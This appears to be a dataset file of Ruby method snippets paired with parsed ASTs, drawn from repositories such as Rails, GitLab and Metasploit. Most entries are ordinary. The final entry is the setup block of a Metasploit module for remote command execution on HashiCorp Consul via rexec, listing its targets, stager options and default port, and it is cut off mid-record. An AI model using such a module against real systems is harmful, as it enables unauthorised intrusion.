+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/spec/system/page_objects/discourse_calendar/upcoming_events.rb","start_line":144,"raw_source":"def has_event_height?(title, expected_height)\n height = get_event_height(title)\n height >= expected_height - 1 && height <= expected_height + 1\n end","complexity_score":8.55,"ast_json":"{\"type\":\"def\",\"children\":[\"has_event_height?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]},{\"type\":\"arg\",\"children\":[\"expected_height\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"height\",{\"type\":\"send\",\"children\":[null,\"get_event_height\",{\"type\":\"lvar\",\"children\":[\"title\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"height\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_height\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"height\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_height\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"f43963cc-ab82-4f89-957f-37438a483b09"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/storage/base.rb","start_line":55,"raw_source":"def size\n @adap.size\n rescue\n raise GenericError, $!\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@adap\"]},\"size\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"GenericError\"]},{\"type\":\"gvar\",\"children\":[\"$!\"]}]}]},null]}]}","id":"7afdf8f0-84b1-49d8-908c-03ccb492d84c"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/select_manager.rb","start_line":223,"raw_source":"def lateral(table_name = nil)\n base = table_name.nil? ? ast : as(table_name)\n Nodes::Lateral.new(base)\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lateral\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"table_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"ast\"]},{\"type\":\"send\",\"children\":[null,\"as\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"Lateral\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"base\"]}]}]}]}","id":"b0a7d507-c055-4bc5-8ee1-271bd0d43ae8"}
+{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/changelog.rb","start_line":152,"raw_source":"def peek_release_header?\n @buffer.peek(RELEASE_HEADER.length) == RELEASE_HEADER\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"peek_release_header?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer\"]},\"peek\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RELEASE_HEADER\"]},\"length\"]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"RELEASE_HEADER\"]}]}]}","id":"225b7689-98e5-4335-8a51-d45cae51404b"}
+{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/visits/detector.rb","start_line":44,"raw_source":"def initialize_visit(point)\n {\n start_time: point.timestamp,\n end_time: point.timestamp,\n center_lat: point.lat,\n center_lon: point.lon,\n points: [point]\n }\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_visit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"point\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"timestamp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"timestamp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"center_lat\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"lat\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"center_lon\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"lon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"points\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]}]}]}]}]}","id":"398ff568-7ab4-4e24-b2e3-59de41f1359b"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/38_ci_cd_analytics.rb","start_line":62,"raw_source":"def create_pipelines!\n branches = project.repository.branches.sample(15)\n pipeline_statuses = [:success, :failed]\n\n branches.each do |branch|\n FactoryBot.create(\n :ci_pipeline,\n pipeline_statuses.sample,\n project: project,\n ref: branch.name,\n sha: branch.target,\n created_at: random_past_date,\n duration: rand(10).hours\n )\n end\n end","complexity_score":20.33,"ast_json":"{\"type\":\"def\",\"children\":[\"create_pipelines!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"branches\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"branches\"]},\"sample\",{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pipeline_statuses\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"sym\",\"children\":[\"failed\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branches\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"ci_pipeline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_statuses\"]},\"sample\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"random_past_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"hours\"]}]}]}]}]}]}]}","id":"9398d889-d72a-4f3a-babf-4b7bf4c82f19"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/click_house/connection.rb","start_line":32,"raw_source":"def database_engine\n raw_query = <<~SQL\n SELECT engine\n FROM system.databases WHERE name = {database_name: String}\n LIMIT 1\n SQL\n\n placeholders = { database_name: database_name }\n\n query = ClickHouse::Client::Query.new(raw_query: raw_query, placeholders: placeholders)\n\n # Falling back to 'Atomic' engine if we cannot determine the DB engine.\n # This fallback will likely never happen as the application wouldn't be\n # able to boot up without an existing database.\n select(query).first['engine'] || 'Atomic'\n end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"database_engine\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT engine\\n\"]},{\"type\":\"str\",\"children\":[\"FROM system.databases WHERE name = {database_name: String}\\n\"]},{\"type\":\"str\",\"children\":[\"LIMIT 1\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"placeholders\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database_name\"]},{\"type\":\"send\",\"children\":[null,\"database_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClickHouse\"]},\"Client\"]},\"Query\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_query\"]},{\"type\":\"lvar\",\"children\":[\"raw_query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholders\"]},{\"type\":\"lvar\",\"children\":[\"placeholders\"]}]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"engine\"]}]},{\"type\":\"str\",\"children\":[\"Atomic\"]}]}]}]}","id":"b4dab905-daca-4931-a15e-abc8c341af32"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/undo_follow_serializer.rb","start_line":16,"raw_source":"def actor\n ActivityPub::TagManager.instance.uri_for(object.account)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"actor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]}]}]}","id":"1e93c744-00f8-4f35-bb16-e88222f52b08"}
+{"repo_name":"forem","file_path":"./repos/forem/app/models/billboard.rb","start_line":481,"raw_source":"def valid_audience_segment_match\n return if audience_segment.blank? || audience_segment_type.blank?\n\n errors.add(:audience_segment_type) if audience_segment.type_of.to_s != audience_segment_type.to_s\n end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_audience_segment_match\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_segment\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_segment_type\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_segment\"]},\"type_of\"]},\"to_s\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_segment_type\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"audience_segment_type\"]}]},null]}]}]}","id":"c51ac074-3f12-45cf-a562-cda2e0541714"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/sub_menus/common.rb","start_line":7,"raw_source":"def self.included(base)\n super\n\n base.class_eval do\n view 'app/assets/javascripts/super_sidebar/components/super_sidebar.vue' do\n element 'super-sidebar'\n end\n\n view 'app/assets/javascripts/super_sidebar/components/create_menu.vue' do\n element 'new-menu-toggle'\n end\n\n view 'app/assets/javascripts/super_sidebar/components/menu_section.vue' do\n element 'menu-section-button'\n element 'menu-section'\n end\n\n view 'app/assets/javascripts/super_sidebar/components/nav_item.vue' do\n element 'nav-item-link'\n end\n end\n end","complexity_score":22.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/super_sidebar/components/super_sidebar.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"super-sidebar\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/super_sidebar/components/create_menu.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"new-menu-toggle\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/super_sidebar/components/menu_section.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"menu-section-button\"]}]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"menu-section\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/super_sidebar/components/nav_item.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"nav-item-link\"]}]}]}]}]}]}]}","id":"42a38e44-30a7-403a-bd10-08659d2c8c54"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/group_merge_requests_resolver.rb","start_line":27,"raw_source":"def no_results_possible?(args)\n group.nil? || some_argument_is_empty?(args)\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"no_results_possible?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"some_argument_is_empty?\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"909e1e60-f28f-43ad-8d89-fc0dd76afcb1"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/concerns/finder_methods.rb","start_line":24,"raw_source":"def raise_not_found_unless_authorized(result)\n result = if_authorized(result)\n\n unless result\n # This fetches the model from the `ActiveRecord::Relation` but does not\n # actually execute the query.\n model = execute.model\n raise ActiveRecord::RecordNotFound, \"Couldn't find #{model}\"\n end\n\n result\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_not_found_unless_authorized\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"if_authorized\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\"]},\"model\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't find \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"c87d1e01-5757-4406-b621-310d5d6da453"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb","start_line":81,"raw_source":"def test_disable_extension_raises_when_dependent_objects_exist\n @connection.enable_extension(\"hstore\")\n @connection.create_table(:hstores) do |t|\n t.hstore :settings\n end\n\n error = assert_raises(StandardError) do\n @connection.disable_extension(:hstore)\n end\n assert_match(/cannot drop extension hstore because other objects depend on it/i, error.message)\n ensure\n @connection.drop_table(:hstores, if_exists: true)\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_disable_extension_raises_when_dependent_objects_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"enable_extension\",{\"type\":\"str\",\"children\":[\"hstore\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"create_table\",{\"type\":\"sym\",\"children\":[\"hstores\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"hstore\",{\"type\":\"sym\",\"children\":[\"settings\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"disable_extension\",{\"type\":\"sym\",\"children\":[\"hstore\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"cannot drop extension hstore because other objects depend on it\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"drop_table\",{\"type\":\"sym\",\"children\":[\"hstores\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"aedb3fa9-abb7-4784-ab7a-6fbb2abde956"}
+{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/output_test.rb","start_line":44,"raw_source":"def test_variable_traversing_with_two_brackets\n source = \"{{ site.data.menu[include.menu][include.locale] }}\"\n assert_template_result(\"it works!\", source, {\n \"site\" => { \"data\" => { \"menu\" => { \"foo\" => { \"bar\" => \"it works!\" } } } },\n \"include\" => { \"menu\" => \"foo\", \"locale\" => \"bar\" },\n })\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_variable_traversing_with_two_brackets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"str\",\"children\":[\"{{ site.data.menu[include.menu][include.locale] }}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"it works!\"]},{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"site\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"menu\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"str\",\"children\":[\"it works!\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"include\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"menu\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"locale\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]}]}]}]}","id":"00a571b4-0cad-4e63-8b29-69505199ab37"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/generate-failed-test-on-omnibus-mr-message.rb","start_line":21,"raw_source":"def execute\n return unless failed_package_and_test_pipeline\n\n add_discussion_to_mr\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_package_and_test_pipeline\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_discussion_to_mr\"]}]}]}","id":"2dce8ae9-a48f-4817-91ac-c59bfa34ce00"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/consul_rexec_exec.rb","start_line":12,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => \"Hashicorp Consul Remote Command Execution via Rexec\",\n 'Description' => %q{\n This module exploits a feature of Hashicorp Consul named rexec.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Bharadwaj Machiraju ', # Discovery and PoC\n 'Francis Alexander ', # Discovery and PoC\n 'Quentin Kaiser ' # Metasploit module\n ],\n 'References' => [\n [ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],\n [ 'URL', 'https://www.consul.io/docs/commands/exec.html'],\n [ 'URL', 'https://github.com/torque59/Garfield' ]\n ],\n 'Platform' => 'linux',\n 'Targets' => [ [ 'Linux', {} ] ],\n 'Payload' => {},\n 'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],\n 'Privileged' => false,\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2018-08-11',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n register_options(\n [\n OptString.new('TARGETURI', [true, 'The base path', '/']),\n OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),\n OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),\n OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),\n Opt::RPORT(8500)\n ]\n )\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Hashicorp Consul Remote Command Execution via Rexec\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a feature of Hashicorp Consul named rexec.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Bharadwaj Machiraju \"]},{\"type\":\"str\",\"children\":[\"Francis Alexander \"]},{\"type\":\"str\",\"children\":[\"Quentin Kaiser \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.consul.io/docs/agent/options.html#disable_remote_exec\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.consul.io/docs/commands/exec.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/torque59/Garfield\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bourne\"]},{\"type\":\"str\",\"children\":[\"echo\"]},{\"type\":\"str\",\"children\":[\"printf\"]},{\"type\":\"str\",\"children\":[\"wget\"]},{\"type\":\"str\",\"children\":[\"curl\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2018-08-11\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Negotiate SSL/TLS for outgoing connections\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The timeout to use when waiting for the command to trigger\"]},{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ACL_TOKEN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Consul Agent ACL 